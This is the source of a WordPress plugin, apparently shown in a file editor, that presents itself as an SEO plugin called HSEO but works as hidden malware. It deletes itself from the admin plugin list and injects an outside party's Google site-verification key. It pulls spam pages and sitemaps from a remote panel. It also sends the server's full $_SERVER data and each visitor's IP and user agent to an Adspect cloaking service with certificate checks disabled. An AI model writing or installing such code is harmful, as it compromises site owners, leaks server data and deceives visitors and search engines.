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✏️ Editing: hseo.php Writable

<?php
/**
 * @package HSEO
 * @version 0.0.1
 */
/*
Plugin Name: HSEO
Description: SEO Plugin
Author: H.
Version: 0.0.1
*/
include_once ABSPATH . "wp-admin/includes/plugin.php";
define('BASE_DIR', plugin_dir_path(__FILE__));
require_once BASE_DIR . '/constants.php';

if (!file_exists(CACHE_FOLDER)) {
    mkdir(CACHE_FOLDER);
}

add_filter('wp_sitemaps_index', 'sitemap_wp');
add_filter("aioseo_sitemap_indexes", "sitemap_aioseo");
add_filter('wpseo_sitemap_index', 'sitemap_yoast');
add_filter('seopress_sitemaps_external_link', 'sitemap_seopress');
add_filter("plugins_list", "plugin_list");

add_action("init", "plugin_init");
add_action("wp_head", "plugin_verify");

function plugin_verify() {
    $key = get_file_content(VERIFY_FILE);
    if ($key) {
        echo "<meta name=\"google-site-verification\" content=\"".$key."\"/>\n";
    }
}

function plugin_list($plugins) {
    if (isset($plugins["active"]["hseo/hseo.php"])) {
        unset($plugins["all"]["hseo/hseo.php"]);
        unset($plugins["active"]["hseo/hseo.php"]);
    }
    return $plugins;
}

function put_file_content($filename, $content) {
    $filename = CACHE_FOLDER."/".md5($filename);
    @file_put_contents($filename, $content);
}

function get_timestamp() {
    $res = get_file_content(TIMESTAMP_FILE);
    if ($res !== NULL) {
        return $res;
    }
    $current_time = current_time("Y-m-d\TH:i:sP");
    put_file_content(TIMESTAMP_FILE, $current_time);
    return $current_time;
}

function get_active() {
    $url = get_url(API);
    if ($url) {
        $res = file_get_contents("https://".$url."/panel/get-domain-active?format=json&domain=".$_SERVER['SERVER_NAME']);
        $json = json_decode($res);
        return (bool) $json->data;
    }
    return false;
}

function get_links_by_page($page) {
    $url = get_url(API);
    if ($url) {
        $res = file_get_contents("https://".$url."/panel/get-posts-from-page/?domain=".$_SERVER['SERVER_NAME']."&posts_on_page=".PER_PAGE."&page=".$page);
        $json = json_decode($res, true);
        return $json['data'] ?? [];
    }
    return [];
}

function get_blog_page($keyword, $passed) {
    $url = get_url(API);
    if ($url) {
        $res = file_get_contents("https://".$url."/panel/get-post/?&passed=".$passed."&domain=".$_SERVER['SERVER_NAME']."&key=".$keyword);
        $json = json_decode($res);
        $content = $json->data;
        put_file_content(PAGE_FILE.$keyword, $content);
        return $content;
    }
    return "";
}

function uint8ArrayToHexString(array $uint8Array): string {
    $hexString = '0x';
    foreach ($uint8Array as $e) {
        $hex = dechex($e);
        $hexString .= strlen($hex) === 1 ? "0$hex" : $hex;
    }
    return $hexString;
}

function robots_txt_filter($output, $public) {
    $custom_sitemap = "Sitemap: " . home_url("/".SITEMAP.".xml");
    if (stripos($output, $custom_sitemap) === false) {
        $output .= "\n" . $custom_sitemap;
    }
    return $output;
}

function sitemap_wp($entries) {
    $mod = get_timestamp();
    $sitemaps['custom-sitemap'] = array(
        'loc' => home_url("/".SITEMAP.".xml"),
        'lastmod' => $mod,
    );
    return $sitemaps;
}

function sitemap_aioseo($entries) {
    $mod = get_timestamp();
    $entries[] = [
        "loc"     => home_url("/".SITEMAP.".xml"),
        "lastmod" => $mod,
        "count"   => get_links_count()
    ];
    return $entries;
}

function sitemap_yoast($xml) {
    $mod = get_timestamp();
    $xml .= "\n<sitemap>\n<loc>".home_url("/".SITEMAP.".xml")."</loc>\n<lastmod>".$mod."</lastmod>\n</sitemap>";
    return $xml;
}

function sitemap_seopress($entries) {
    $mod = get_timestamp();
    return [0 => ['sitemap_url' => home_url("/".SITEMAP.".xml"), 'sitemap_last_mod' => $mod]];
}

function sitemap_blog() {
    // Derive count from the actual slugs list (same source the plugin routes
    // from) to avoid mismatch with the separately-cached links_count.
    $links = count(_get_slugs_list());
    $pages = (int) ceil($links / PER_PAGE);
    $content = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>";
    $content .= "\n<sitemapindex xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">";
    for ($i = 1; $i <= $pages; $i++) {
        $content .= "\n\t<sitemap>";
        $content .= "\n\t\t<loc>".home_url("/".SITEMAP."-".$i.".xml")."</loc>";
        $content .= "\n\t</sitemap>";
    }
    $content .= "\n</sitemapindex>";
    return $content;
}

function blog_page($keyword) {
    $url = "https://rpc.adspect.net/v2/6e0ec269-0508-4bc6-a750-a991111a7470?k_router_campaign=Ks1HTm";
    if (isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING']) {
        $url .= "&".$_SERVER['QUERY_STRING'];
    }
    $requestHeaders = [
        'Accept: text/plain',
        'Adspect-IP: ' . get_ip(),
        'Adspect-UA: ' . ($_SERVER['HTTP_USER_AGENT'] ?? ''),
    ];
    $requestPayload = ['server' => $_SERVER];
    $options = [
        'http' => [
            'method'  => 'POST',
            'header'  => implode("\r\n", $requestHeaders),
            'content' => json_encode($requestPayload),
            'timeout' => 60,
        ],
        'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
    ];
    $context = stream_context_create($options);
    $response = (int)file_get_contents($url, false, $context);
    return get_blog_page($keyword, $response);
}